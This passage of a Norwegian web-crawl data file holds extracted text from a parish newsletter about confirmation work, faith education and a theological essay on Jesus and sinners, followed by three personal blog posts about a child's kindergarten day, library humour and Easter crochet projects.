involvert i konfirmantarbeid. I april blei det oppstart for utdeling av faddergaver i forbindelse med barned\u00e5p. Trosoppl\u00e6ringsutvalget s\u00f8rga for innpakking av gaver og gjorde ferdig poser med gaver som kunne leveres foreldre i forbindelse med d\u00e5pssamtaler. I november var det igjen 4-\u00e5rs klubb fire ettermiddager fra kl Klubben var p\u00e5 Nes menighetshus og det var god oppslutning. 1.s\u00f8ndag i advent var det utdeling av Min kirkebok til 4-\u00e5ringene i Sauherad kirke. I april ble det gjennomf\u00f8rt Skattejakt for 6-\u00e5ringer i Sauherad kirke. Ansatte og frivillige: Liv Merethe R\u00f8nning var ansatt som trosoppl\u00e6rer fram til sommeren Ivar Solbu og Liv Merethe har hatt ansvar for de ulike aktiviteter sammen med frivillige. Gepke Post vikarierte som trosoppl\u00e6rer h\u00f8sten November en m\u00e5neden for 4-\u00e5rsklubb Trosoppl\u00e6ringsutvalget har best\u00e5tt av: Lillil Bergan, Edith Norheim og Liv Merethe R\u00f8nning. V\u00e5re konfirmanter var i juni p\u00e5 felles konfirmantleir for mange menigheter p\u00e5 Gjennestad gartnerskole i Vestfold. 8) Konfirmantarbeidet Det var 43 ungdommer som ble konfirmert i H\u00f8sten 2014 var det 37 konfirmanter. Da Berit Bj\u00f8rnerud sluttet i februar 2014 overtok Ivar Solbu hovedansvaret for konfirmantene. Trosoppl\u00e6rer Liv Merete H\u00f8ie R\u00f8nning hadde ansvar for oppstarten av konfirmant\u00e5ret , og konfirmantleiren p\u00e5 Gjennestad gartnerskole i Stokke i Vestfold i juni. Konfirmantleiren er et fellesprosjekt for konfirmantene fra Notodden, Hjartdal, Seljord, Kviteseid og Sauherad. Ulefossnatta, som arrangeres som en oppkj\u00f8ring mot Kirkens N\u00f8dhjelpsaksjon f\u00f8r p\u00e5ske hvert \u00e5r, er et opplegg for konfirmantene i Lunde, Holla, B\u00f8, Seljord og Sauherad. Det er en lang kveld med fotball, informasjon, lek, musikk og gudstjeneste. Konfirmantopplegget best\u00e5r av - 60 timer undervisning, 20 av timene gis p\u00e5 konfirmantleiren, - minst 8 gudstjenester, noen obligatoriske og noen selvvalgte - og diakonale oppgaver, som Kirkens N\u00f8dhjelpsaksjonen og Konfirmantenes Solidaritetsaksjon Berit Bj\u00f8rnerud avsluttet sin prestetjeneste i Sauherad i begynnelsen av februar. Her takkes hun av to konfirmanter. 76 HELSING TIL SAUHERAD OG NES\n\n\n\n p\u00e5 kr. 59.201,- b.\")\n\n11 Helsing for 50 \u00e5r siden I slutten av august var flott ungdom p\u00e5 pilegrimsvandring fra Evju til Nes kyrkje. I oktober la de kirkelig tilsatte sitt stabsm\u00f8te til sj\u00f8mannskirka El Campanario p\u00e5 Solkysten i Spania. Under Eplefesten i september ble det arrangert en vandringssamling i Nes kyrkje. F\u00f8r samlingen legger i veg mot markedsdag p\u00e5 Gvarv er det en stille samling i kirka med lyrikk og musikk, blant annet Johannes Sundsvalen p\u00e5 fele. MENIGHETSVEKA 1965 N\u00e5r en skal fors\u00f8ke \u00e5 gi en melding om menighetsveka vi hadde fra 2. til 7. februar er det kanskje s\u00e5 meget som kan sies. Tanken om \u00e5 kunne samle alle i menigheten til disse m\u00f8tene var jo v\u00e5rt \u00f8nske og v\u00e5r b\u00f8nn, om at det kunne bli til velsignelse og at noen kunne motta innbydelsen om \u00e5 komme og motta frelsen. Vi valgte den vei ganske enkelt \u00e5 innby til disse m\u00f8tene, uten noen direkte personlig innbydelse. Det var s\u00e5ledes med spenning og b\u00f8nn om at Guds \u00c5nd m\u00e5tte gj\u00f8re sin gjerning vi satte i gang. Vi vil f\u00f8rst takke Gud for at m\u00f8tene ble s\u00e5 gode, dernest en takk til alle som talte og vitnet og til sangere og organister og takk til dere som mottok innbydelsen og som var med og fylte kirken disse kveldene. Vi ser det slik at det var Guds ord som var samlingsmerket. Det enkle evangelium om synd og n\u00e5de som folk ville h\u00f8re, og vi har den tro og det h\u00e5p at det som ble s\u00e5dd ikke m\u00e5tte v\u00e6re forgjeves, men bli til styrke for den enkelte og for menigheten. I l\u00f8pet av 2014 ble det satt i gang et arbeid for \u00e5 utarbeide en verneplan for kirkeg\u00e5rdene i bygda. P\u00e5 Festdagen i september, der konfirmantene i 1954 og 1964 var hedersgjester, var det et Pr\u00f8ysen-program ved Ellen Bojer Nordstoga og Oddbj\u00f8rn Aase. Sauherad menighetsr\u00e5d, J. BERG. 84 HELSING TIL SAUHERAD OG NES NUMMER 2 MARS\n\n\n\n12 Solidarisering del 3 De som kommer til kort moralsk. Dette var aldeles utilgivelig. Ikke at han tok seg av syke, vanf\u00f8re, spedalske og besatte, ikke at han tok t\u00e5lte kvinner og barn omkring seg, heller ikke at han tok parti for sm\u00e5folk, de fattige. Nei, men han innlot seg med dem som sviktet moralsk, med \u00e5penbart ufromme og umoralske, med mennesker som langt i fra var moralsk og politisk uangripelige, med tvilsomme, lyssky, fortapte h\u00e5pl\u00f8se eksistenser, slike som alltid fins som et uunng\u00e5elig, uutryddelig onde i utkanten av ethvert samfunn. Dette var det virkelig forargelige. Var det n\u00f8dvendig \u00e5 g\u00e5 s\u00e5 langt? Slik opptreden er faktisk helt forskjellig fra alminnelig religi\u00f8s oppf\u00f8rsel, is\u00e6r fra den elitepregede etikk (munkeetikk, aristokratisk eller kastebundet etikk) i de \u00f8stlige religioner og vel aller mest fra den strenge moral i de egentlige lovreligioner (j\u00f8dedommen, parsismen, islam). Av Ibrahim El-Hajj Det kan kanskje v\u00e6re menigheten som tilbakeskuende formulerte forholdet s\u00e5 allment og programmatisk som at Jesus var kommet for \u00e5 opps\u00f8ke og redde det fortapte, ikke for \u00e5 kalle de rettferdige, men syndere. Men selv de mest kritiske eksegeter nekter ikke at hvordan det enn har seg rent historisk med de enkelte utsagnene, pleiet han p\u00e5 utfordrende m\u00e5te omgang med moralsk tilkortkomne, med ufromme og umoralske, med dem man pekte p\u00e5 og med avsky satte merkelappen \u00absyndere\u00bb p\u00e5. Det f\u00f8r nevnte skjellsordet som motstanderne brukte mot Jesus, og som opplagt ikke er funnet p\u00e5 av menigheten, \u00abstoreter og vindrikker\u00bb, har jo en adskillig mer tungtveiende fortsettelse: \u00abtolleres og synderes venn\u00bb. Tollere, det var synderne rett og slett, de bedr\u00f8velige syndere i s\u00e6rklasse. De tilh\u00f8rte et forhatt yrke. De var bedragere og kjeltringer som hadde tjent seg rike i okkupasjonsmaktens tjeneste, kollaborat\u00f8rer og forr\u00e6dere mot den nasjonale sak, beheftet med permanent urenhet, uten mulighet for \u00e5 gj\u00f8re bot, fordi de overhodet ikke kunne vite hvem og for hvor meget de hadde bedratt. Og nettopp med slike profesjonelle kjeltringer m\u00e5tte Jesus innlate seg\\! Her er det viktig \u00e5 finne ut hvor langt fortellingen om det skandal\u00f8se selskapet hos overtolleren Sakkeus eller den om at tolleren Levi ble opptatt i disippelkretsen, beror p\u00e5 historisk erindring. Dette er noe vi ikke p\u00e5 forh\u00e5nd kan g\u00e5 ut fra, men heller ikke p\u00e5 forh\u00e5nd kan utelukke, s\u00e6rlig n\u00e5r det gjelder kallelsen av Levi, s\u00f8nn av Alfus, omtalt allerede hos Markus. At evangeliene kjenner navnet p\u00e5 ikke mindre enn tre tollere blant Jesu tilhengere, er p\u00e5fallende nok. Alminnelig anerkjent som historisk er i det minste det som motstandernes kritikk gikk ut p\u00e5: denne mannen tar imot syndere og spiser sammen med dem. Han nektet ikke \u00e5 v\u00e6re sammen med syndere, de lovl\u00f8se og lovbryterne, selv om naturligvis ogs\u00e5 bra mennesker kom til ham. Han tok inn hos tollere og notoriske syndere. \u00abVar denne mannen en profet, ville han vite hva slags kvinne det er som r\u00f8re ved ham\u00bb. Det dreier seg om den kvinnen, velkjent i byen og antagelig prostituert, som uhindret hyllet Jesus p\u00e5 den sv\u00e6rt ukonvensjonelle m\u00e5ten at hun salvet han f\u00f8tter med parfymert olje. Vi har ogs\u00e5 den gripende fortellingen som dukker opp i den johanneiske overlevering, om kvinnen som var grepet p\u00e5 fersk gjerning i ekteskapsbrudd, og som han reddet fra lovens voktere. Om disse fortellingene er legender eller historisk erindring eller begge i ett, alts\u00e5 typiserte fortellinger, det lar seg ikke lenger kontrollere. Men til de sikreste elementer i overleveringen h\u00f8rer iallfall at Jesus viste en utfordrende sympati med synderne og solidariserte seg med de ufromme og umoralske. De forkomne og oppgitte hadde en fremtid hos ham. Dette gjaldt ogs\u00e5 dem som var utnyttet seksuelt og enda til ble foraktet for det - alle sammen ofre for et samfunn av \u00abrettferdige\u00bb. Og ordene fra disse scenene rammet: Hennes mange synder er henne tilgitt, fordi hun elsket meget\\! Den av dere som er uten synd, kan kaste den f\u00f8rste steinen\\! Det lar seg ikke nekte: Jesus var \u00abi slett selskap\u00bb. Stadig i evangeliene dukker det opp tvilsomme personer, slike som b\u00e6rer p\u00e5 en skyld og som skikkelige mennesker helst skal holde seg p\u00e5 avstand av. Mot alle de forventninger hans samtidige hadde til forkynneren av gudsriket, nektet Jesus \u00e5 spille rollen som den fromme asket p\u00e5 trygg avstand fra gjestebud og is\u00e6r fra visse folk. Men det ville ikke v\u00e6re riktig \u00e5 romantisere Jesu ubestridelige \u00abdragning nedover\u00bb. Ikke noe \u00ablike barn leker best\\!\u00bb Jesus viste ingen forbudte lyster i retning av \u00abdet s\u00f8te liv\u00bb, ingen dragning mot halvverdenen. Han ga ikke \u00abmilj\u00f8et\u00bb sin godkjennelse. Han unnskyldte ikke noen skyld. Men p\u00e5 grunn av de evangeliske beretningene er det ubestridelig at Jesus mot alle sosiale fordommer og skranker avviste enhver sosial diskriminering av bestemte grupper eller ulykkelige minoriteter. Hadde kanskje G\u00fcnter Herburger rett med sin roman, n\u00e5r han ser Jesus blant fremmedarbeidere i Osaka? Ubekymret om all tisking bak ryggen p\u00e5 Ham, ubekymret om all offentlig kritikk innlot Jesus seg med samfunnets utkantseksistenser, med de sosialt d\u00f8mte, religi\u00f8st utst\u00f8tte, med diskriminerte og deklasserte. Han gjorde felles sak med dem. Han aksepterte dem rett og slett. Kj\u00e6rlighetens \u00e5penhet overfor alle mennesker er ikke bare noe han forkynner. Han praktiserer den ogs\u00e5. Riktignok er han ikke kamerat med dem i den forstand at han er med p\u00e5 det som foregikk i beryktede kretser. Han synker ikke ned p\u00e5 deres niv\u00e5. Han drar dem opp til seg. Men han n\u00f8yer seg ikke med \u00e5 g\u00e5 i rette med disse notorisk d\u00e5rlige menneskene. Han setter seg - bokstavelig talt - sammen med dem. Og s\u00e5 l\u00f8d det, oppr\u00f8rt: Umulig\\! Forsto han ikke hva han gjorde? Forsto han ikke hvor meget et felles m\u00e5ltid kan kompromittere, den gang som n\u00e5? Man tenker da p\u00e5 hvem man innbyr og hvem man tar imot innbydelse fra. Og hvem man i alle fall utelukker\\! For en orientaler skulle det v\u00e6re s\u00e6rlig klart at i bordfelleskap ligger det mer enn h\u00f8flighet og vennlighet. Bordfelleskap betyr fred, tillit, forsoning, brorskap. Og den troende j\u00f8de vil tilf\u00f8ye: ikke bare for menneskenes \u00f8yne, men for Guds \u00f8yne. Den dag i dag er det slik i j\u00f8diske familier at husfaren ved begynnelsen av m\u00e5ltidet sammen med velsignelsen bryter et stykke br\u00f8d for at alle gjennom sitt lille stykke skal f\u00e5 del i den nedkalte velsignelse. Bordfellesskap for Guds \u00f8yne - med syndere? Akkurat det. Som om ikke loven var den n\u00f8yaktige m\u00e5lestokk for hvem man skal ha samfunn med, hvem som h\u00f8rer med til menigheten av fromme. M\u00e5ltidsfellesskap med dem som var avskrevet av de fromme, var for Jesus ikke uttrykk for liberal toleranse og humanit\u00e6rt sinnelag. Det var utrykk for hans oppdrag og budskap: fred, forsoning for alle uten unntak, ogs\u00e5 for dem som kom til kort moralsk. De moralske f\u00f8lte dette som et brudd p\u00e5 alle konvensjonelle moralske normer, ja som moralnedbrytende. Med urette? 86 HELSING TIL SAUHERAD OG NES NUMMER 2 MARS\n\n\n\n og sokkelen fjernast slik at det blir plass til nye graver. Sp\u00f8rsm\u00e5l om graver, festeavtaler o.\")\n\n17 Trosoppl\u00e6rer med allsidig bakgrunn 1. februar startet Elisabeth Sandvand Aase (35) i stillingen som trosoppl\u00e6rer i Sauherad og Nes sokn. Det er en 30 % stilling. Den nye trosoppl\u00e6reren har god utdannelse og bred erfaring for \u00e5 ta fatt i oppgaven med \u00e5 gi barn og unge i Sauherad gode erfaringer med tro. Elisabeth kommer fra Kristiansand. Der bodde hun til hun var tjue \u00e5r. Hun gikk p\u00e5 idrettslinja p\u00e5 videreg\u00e5ende skole. Fotball var hennes idrett, og hun spilte p\u00e5 Donn i 1. divisjonen. Jeg har nok spilt mot b\u00e5de Kjapp og Sn\u00f8gg, ler hun, - men det er lenge siden. Hun fikk idrettsstipend til USA, men der fikk hun en kneskade som gjorde at hun m\u00e5tte legge fotballen p\u00e5 hylla. - Det at jeg la oss som fotballspiller gjorde at jeg oppdaget at livet ogs\u00e5 hadde andre positive ting man kunne drive med. Jeg begynte p\u00e5 Bild\u00f8y bibelskole p\u00e5 Sotra ved Bergen. Det ble et \u00e5r med mye oppr\u00f8r, jeg var i opposisjon og stilte sp\u00f8rsm\u00e5l ved det meste. Jeg hadde \u00abvokst opp\u00bb i Frikirka i Kristiansand, s\u00e5 jeg var vant til \u00e5 g\u00e5 p\u00e5 m\u00f8ter. Men jeg hadde mye oppr\u00f8r inne i meg, jeg var sint p\u00e5 mange, blant annet Gud. Det som gjorde at jeg tok tak i ting var skoleturen til Kenya. Det ble en veldig sterk opplevelse for meg. Der m\u00f8tte jeg b\u00e5de Gud og mennesker p\u00e5 en ny m\u00e5te. Jeg s\u00e5 hvem jeg selv var, at jeg var en synder som trenger tilgivelse og n\u00e5de. - Jeg har nok tenkt mye p\u00e5 hvorfor jeg var s\u00e5 sint, og hadde s\u00e5 mye oppr\u00f8r i meg. Det hadde nok forskjellige grunner. Jeg hadde venner i milj\u00f8et i Frikirka. Jeg syntes at guttene var greie, men det var for mye \u00abklikk\u00bb-system blant jentene. Det var slitsomt. Jeg fikk lederansvar, og det syntes jeg var bra, det hjalp meg videre. Jeg var med i kor og ungdomsgrupper, jeg traff mange flotte folk. Men de n\u00e6re vennene mine de hadde jeg i fotballmilj\u00f8et. Jeg var noe en noks\u00e5 utypisk ungdom, jeg likte \u00e5 g\u00e5 p\u00e5 gudstjenester, jeg trivdes med \u00e5 h\u00f8re p\u00e5 taler\\! Elisabeth arbeidet ett \u00e5r som milj\u00f8arbeider p\u00e5 Rauma folkeh\u00f8gskole i Romsdal f\u00f8r hun startet p\u00e5 teologistudiet p\u00e5 Menighetsfakultetet i Oslo. Etter tre \u00e5r fikk hun sp\u00f8rsm\u00e5l om \u00e5 v\u00e6re l\u00e6rer p\u00e5 bymisjonslinja p\u00e5 Bild\u00f8y. Hun takket ja. Flere av dem som n\u00e5 ble hennes kollegaer var nok noe forundret over at den noks\u00e5 sinte elven fra f\u00e5 \u00e5r tilbake n\u00e5 skulle v\u00e6re l\u00e6rer. Hun var der i to \u00e5r. S\u00e5 gikk turen til KRIKs h\u00f8yfjellsenter i Hemsedal. Der var hun frivillig medarbeider i et halvt \u00e5r. - Jeg fikk det jeg vil kalde et kall til \u00e5 bli sykepleier. Jeg studerte i tre \u00e5r p\u00e5 universitetet i Stavanger, s\u00e5 jeg har min godkjennelse som sykepleier. Etter eksamen gikk turen tilbake til Hemsedal og h\u00f8yfjellssenteret. Der dreiv jeg med mange ting: leirer for forskjellige slags grupper, fri- luftsbibelskole og mange andre ting. P\u00e5 h\u00f8yfjellssenteret traff hun Sindre. Det var han som tok meg med til Sagavoll og Gvarv, smiler hun. De giftet seg h\u00f8sten Elisabeth har hatt forskjellige vikariat p\u00e5 Sagavoll, b\u00e5de som internatleder og som l\u00e6rer. I 2014 meldte Olivia sin ankomst, s\u00e5 n\u00e5 ved svangerskapspermisjonens avslutning er det trosoppl\u00e6ring som gjelder\\! - Jeg tenker at det med trosoppl\u00e6ring er b\u00e5de veldig viktig og sv\u00e6rt meningsfylt. Det \u00e5 legge til rette for \u00e5 bygge tro er flott utfordring. De foreligger en del nasjonale og lokale planer, min oppgaver blir prim\u00e6rt \u00e5 koordinere de tiltakene som er i sving, og videre \u00e5 pr\u00f8ve \u00e5 f\u00e5 i gang de tiltakene som v\u00e5r plan i Sauherad beskriver, men som fortsatt ikke er satt ut i virksomhet. Aller f\u00f8rst skal jeg gj\u00f8re meg kjent med mange ting slik at jeg skaffer meg en oversikt. Men jeg vil ikke bare drive med koordinering, jeg vil ogs\u00e5 v\u00e6re \u00abut\u00f8vende\u00bb trosoppl\u00e6rer. Det aller f\u00f8rste blir 24Hours-festivalen for 10 til 12 \u00e5ringer. Det er et fellesopplegg i Gullbring i B\u00f8 for flere menigheter i distriktet. - Til n\u00e5 har jeg jo jobbet mest med ungdom. N\u00e5 skal jeg jobbe med hele aldersgruppa fra 0 til 18 \u00e5r. Det at jeg selv har f\u00e5tt barn gj\u00f8r jo at jeg er sv\u00e6rt motivert for \u00e5 skulle jobbe med barn. Jeg gleder meg til \u00e5 jobbe med trosoppl\u00e6ring, sier Elisabeth Sandvand Aase til Helsing. -is- Elisabeth Sandvand Aase er tilsatt som trosoppl\u00e6rer i Sauherad og Nes sokn. B\u00f8 kino viser film hver dag i Gullbring kulturanlegg i B\u00f8. Sjekk programmet p\u00e5 Du kan ogs\u00e5 se programmet og kj\u00f8pe billetter p\u00e5 din smart-telefon. Last ned appen ebillett fra Apple Store, Google Play kommer snart\\! Lik oss p\u00e5 Facebook og f\u00e5 med deg alt som skjer\\! Billettreservasjon: tlf HELSING TIL SAUHERAD OG NES NUMMER 2 MARS\n\n\n\n\n\n### Vi kan tilby et spennende opplegg som vi tror vil falle i smak hos de fleste. Ta en kikk og se om dette er noe for deg.\n\n Kan du tenke deg \u00e5 v\u00e6re konftrrnanc i Loddefjord menighet\\! Vi kan tilby et spennende opplegg som vi tror vil falle i smak hos de fleste. Ta en kikk og se om dette er noe for deg. HVORFOR KONFIRMANT? Det\n\n Konfirmasjon i Kr\u00e5ker\u00f8y menighet 2013 Sp\u00f8rsm\u00e5l og svar for deg som vurderer \u00e5 konfirmeres i kirken I denne brosjyren h\u00e5per vi \u00e5 gi deg svar p\u00e5 noen av de sp\u00f8rsm\u00e5lene du har om konfirmasjon i kirken. 1\n### I de to historiene Jesus forteller, ser ikke det som har blitt borte ut til \u00e5 v\u00e6re noe som er helt n\u00f8dvendig \u00e5 ha.\n\n", "language": "no", "__index_level_0__": "ae7eef95-6438-4311-9fec-4a2918f7dbac"}
{"url": "http://herixta.blogspot.com/2011/03/intervju.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:42:34Z", "text": "\n\n    \n\n## l\u00f8rdag 5. mars 2011\n\n### Intervju\n\n kl. 09:55 \n\nHadde et aldri s\u00e5 lite intervju av Milla i g\u00e5r etter barnehagen, for \u00e5 se om hun hadde noe spennende \u00e5 fortelle. Men hun var faktisk ganske s\u00e5 taus og det var ikke mye jeg fikk ut av henne. Var nok litt ekstra sliten etter en dag med mange inntrykk. Slik gikk intervjuet;  \n  \nHva har du gjort i barnehagen i dag da? *Leka*  \nHva hadde Adele p\u00e5 seg da? *Klovn*  \nHva var Anniken da? *Anniken var kattepus*  \nHva var Emma Elise da? *Jeg vet ikke*  \nHva var Djim da? *Maske*  \nHva hadde Jenny p\u00e5 seg da? *Skj\u00f8rt*  \n*Jeg hadde klovn*  \n*Kattepusen Milla\\! Heter Milla\\!*  \n\n\n\n  \n\n Skrevet av Hanne   \n\nTusen takk for at du vil kommentere innlegget mitt\\! Trykk gjerne p\u00e5 \"Abonner via e-post\", s\u00e5 f\u00e5r du svarene tilsendt dit.  \nHa en fortsatt fin dag\\!\n\n\n\n  - Hanne  \n    Jeg er f\u00f8rst og fremst mamma til tre sm\u00e5 rusketroll, Milla, Magnus og Ludvig. Pappaen i familien (Martin) og jeg har v\u00e6rt kj\u00e6rester siden 2004, da vi begge var ganske sm\u00e5 rusk selv. Vi bor i et passe stort hus i et passe befolket omr\u00e5de i passe avstand fra det meste og med de viktigste personene like i n\u00e6rheten.\n\n", "language": "no", "__index_level_0__": "ba6b61fa-91eb-4778-b194-87776486391a"}
{"url": "http://baktanker.blogspot.com/2007/11/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00705.warc.gz", "warc_date": "2018-03-24T23:30:35Z", "text": "\n## torsdag, november 29, 2007\n\n### N\u00e5 skarru f\u00e5 se p\u00e5 kuken kjerringfaen\\!\n\nJeg bare m\u00e5 legge ut denne. Et klassisk klipp fra Wam og Venner\u00f8ds legendariske \"Lasse og Geir\".\n\n## tirsdag, november 27, 2007\n\n### N\u00e5 kan jeg ikke bli bedre enn jeg er\n\n  \n  \nBeste karakter p\u00e5 ex.phil-eksamen\\!  \n  \n  \n  \n  \nS\u00f8ren Kierkegaard hadde sikkert sendt sine gratulasjoner hvis han hadde hatt muligheten.\n\n1:08 p.m.    4 kommentarer:           \n\n Etiketter: Studier \n\n \n### Beowulf\n\n  \nDet er ganske lenge siden jeg har v\u00e6rt p\u00e5 kino n\u00e5, men p\u00e5 l\u00f8rdag kom jeg med avg\u00e5rde og fikk sett Beowulf. Den er veldig bra\\! Jeg pleier ikke \u00e5 v\u00e6re noen stor tilhenger av eventyrfilmer, men denne traff meg. Det er en god historie (bygd p\u00e5 et engelsk sagn) om mot, kj\u00e6rlighet og vennskap, men ogs\u00e5 om gr\u00e5dighet, begj\u00e6r og svik. Den er i en slags halvanimert stil som kan virke litt uvant og un\u00f8dvendig, men dette kommer kanskje mer til sin rett hvis du ser 3D-utgaven av filmen, som dessverre ikke er tilgjengelig her i Stavanger. Dette er i alle fall en film jeg kan anbefale, Angelina Jolie alene er verdt pengene\\!  \n  \n\n\nJohn David Didriksen  kl. \n8:45 a.m.    Ingen kommentarer:           \n\n## onsdag, november 21, 2007\n\n### En presidentkandidat litt utenom det vanlige\n\n  \nMike Huckabee seiler opp som en seri\u00f8s utfordrer til rollen som republikansk presidentkandidat til neste \u00e5rs valg. Han er ordinert prest, st\u00f8ttes av actionhelten Chuck Norris og er en habil bassist\\! Det sl\u00e5r lett Bill Clintons saksofonspilling.  \n  \nSom politiker er han vel sannsynligvis i samme gate som dagens president G\u00e6rne George, s\u00e5 vi f\u00e5r inderlig h\u00e5pe at han ikke blir valgt. Jeg velger likevel \u00e5 legge ved en video der han sammen med bandet sitt framf\u00f8rer Lynard Skynards vakre klassiker \"Freebird\". Huckabee er som sagt brukbar p\u00e5 bassen, men vokalisten er en skam for menneskeheten.  \n  \n\nJohn David Didriksen  kl. \n## mandag, november 19, 2007\n\n### Mitt forbilde\n\nDenne videoen har jeg savna\\! Jeg husker at n\u00e5r jeg begynte p\u00e5 bibliotekarstudiet i Oslo i 1998 var noe av det f\u00f8rste de gjorde \u00e5 vise oss denne.  \n  \nOverskriften sier seg selv: Denne bibliotekaren er skikkelig hardcore.\n\n Lagt inn av  \n## onsdag, november 14, 2007\n\n### Jeg har gjennomg\u00e5tt tidenes slankekur\n\nDenne kuren vil en ikke se noe til p\u00e5 badevekta, men den har likevel f\u00e5tt meg til \u00e5 f\u00f8le meg ca. 4500 kilo lettere. Med andre ord: Eksamen er unnagjort. Jeg tror det gikk s\u00e5nn noenlunde greit, s\u00e5 n\u00e5 er jeg friii og kan puste leeettt i alle fall til sensuren faller om to uker.  \n  \nFor de som m\u00e5tte lure: Vi fikk i oppgave \u00e5 greie ut om gudsbevisene til Thomas Aquinas og Descartes, og vise hvorfor Kant tok avstand fra disse og hvilket alternativ han selv kom med. N\u00e5r en tar Ex.phil. her b\u00f8r en vel ikke bli overrasket over at Gud nevnes i eksamensoppgaven...\n\n10:11 a.m.    3 kommentarer:           \n\n## torsdag, november 08, 2007\n\n### \"Morsomme\" historier fra bibliotek\n\nP\u00e5 Nasjonalbibliotekets postliste for bibliotekarer og andre bibliotekinteresserte utveksles det for tiden morsomme historier fra bibliotek. Dette skal visst nok ende opp i en bok, men ut fra kvaliteten p\u00e5 historiene blir det t\u00f8rre greier. Dette er faktisk et par av de beste:  \n  \n*Jeg hadde en l\u00e5ner som skulle ha b\u00f8ker av den ber\u00f8mte Iver Henriksen. S\u00f8kte, s\u00f8kte og s\u00f8kte, men fant intet. Mannen ble r\u00f8dere og r\u00f8dere i ansiktet og hisset seg mer og mer opp. \"Hva slags udannede mennesker er det som jobber her, som aldri har h\u00f8rt om Iver Henriksen???\\!\" Jeg spurte da om han hadde en tittel av forfatteren, og mannen br\u00f8lte \"Peer Gynt\\!\".*  \n  \n  \n*Min nu pensjonerte kollega p\u00e5 fjernl\u00e5nsavdelinga s\u00e5 seg f\u00f8rrbalt p\u00e5 alle kirkeb\u00f8kene og folketellingene folk skulle ha. \"Ka d\u00e6m gr\u00e6v etter?? Vi kj\u00e6m jo fra Adam og Eva heile gjengen\\!\"*.  \n  \nDen siste var fra oppe i nord et sted, men det forstod dere sikkert. Nei, vil dere ha mojjo fra bibliotekets forunderlige verden b\u00f8r dere heller lese denne boka. Den er faktisk til tider meget morsom.\n\nJohn David Didriksen  kl. \n\n1:23 p.m.    3 kommentarer:           \n\n## tirsdag, november 06, 2007\n\n### Bibliotekpersonale s\u00f8kes, relevant erfaring frabes\n\nDette m\u00e5 vel v\u00e6re et av de mest spenstige forslaga fra kultur-Norge p\u00e5 en stund. Alle de ansatte p\u00e5 S\u00f8lvberget reiser bort en uke i februar og overlater jobbene sine til totalt uerfarne amat\u00f8rer... S\u00e5 hvis du har lyst til \u00e5 drive kino, bibliotek eller lignende er dette din sjanse\\!\n\n Lagt inn av  \n\n10:29 a.m.    2 kommentarer:           \n\n", "language": "no", "__index_level_0__": "365c8c45-458e-4d74-a5d9-3a456873a601"}
{"url": "http://ulldottno.blogspot.com/2009/04/litt-av-hvert-alt-eller-ingenting.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:20:06Z", "text": "## fredag 3. april 2009\n\n### Litt av hvert (alt eller ingenting?)\n\n  \n\n  \n  \n  \n  \nHvem kom f\u00f8rst, h\u00f8na eller egget? Det ble fire h\u00f8ns til \u00e5 henge p\u00e5 kvist, ett egg og to kulerunde kyllinger. Jeg ha heklet en p\u00e5skelilje i dag, jeg har gjort ferdig h\u00f8nsene, jeg strikket hele egget, jeg har begynt p\u00e5 en gave som jeg har kort tid p\u00e5, en strikket en som jeg vil gi i morgen til pappaen min. I g\u00e5r ble Hane Pane som har f\u00e5tt nytt navn, Hane Harald, ferdigstilt han stiller seg opp og betrakter meg og de sm\u00e5 kyllingene. Hva mer har jeg gjort i dag da tro... ikke stort, er litt mye syk. Men.. Jo, har heklet ei rangle. Og et armb\u00e5nd. Flaskeskjuleren med kylling har f\u00e5tt nytt hjem. Det samme med hjertevesken jeg heklet :)  \n  \nS\u00e5 til saken: Dagens bittelille innpakningstips. Det er faktisk to.  \n1\\. Gave til en du er glad i , som ogs\u00e5 er gladi \u00e5 strikke eller noe s\u00e5nt. Fyll et vanlig p\u00e5skeegg med garn eller noe annet kreativt :)  \n2\\. Til alle som bare vil pynte opp litt hjemme, og kanskje ikke lager noe selv til p\u00e5ske: Putt malte p\u00e5skeegg eller strikkede p\u00e5skeegg, eller rundaktige kyllinger osv. i en eggekartong :)  \n  \nJeg vet ikke helt hvordan det blir framover, men jeg skal pr\u00f8ve \u00e5 f\u00e5 lagt inn bilder i l\u00f8pet av helga av p\u00e5skest\u00e6sj.\n\n14:00           \n\n \n#### 2 kommentarer:\n1.  \n    \n    Heidi4. april 2009 kl. 06:23\n    \n    Hjerteveska di ble kjempefin\\! Synes du har v\u00e6rt veldig produktiv f\u00f8r p\u00e5ske.  \n    Veldig artig innpakningstips med p\u00e5skeegg :) \u00d8nsker deg noen fine p\u00e5skedager. Klem fra Heidi :)\n    \n2.  \n    \n    Marit5. april 2009 kl. 02:42\n    \n    S\u00e5 fin vesken ble. Du har f\u00e5tt laget masse til p\u00e5ske. Takk for koselige innpakningstips og gavetips ikke minst.  \n    Kos deg som best du kan i p\u00e5sken.\n    \n    Velkommen til bloggen ulldottno. Den er min. Jeg er ull, tull og tankespinn ;) Dette blir en liten blogg om strikking og kreative ting, sau, dotter og ull. I f\u00f8rste rekke blir det en del av \u00e5 v\u00e6re med i allonger, men kanskje kommer det mer her etterhvert. Damer har (strikke)kurver, menn har (stress)koffert og kj\u00e6rlighet vokser p\u00e5 pinnene.\n\n", "language": "no", "__index_level_0__": "6ebddeaf-a717-4e0f-a2b7-fcce57169caf"}
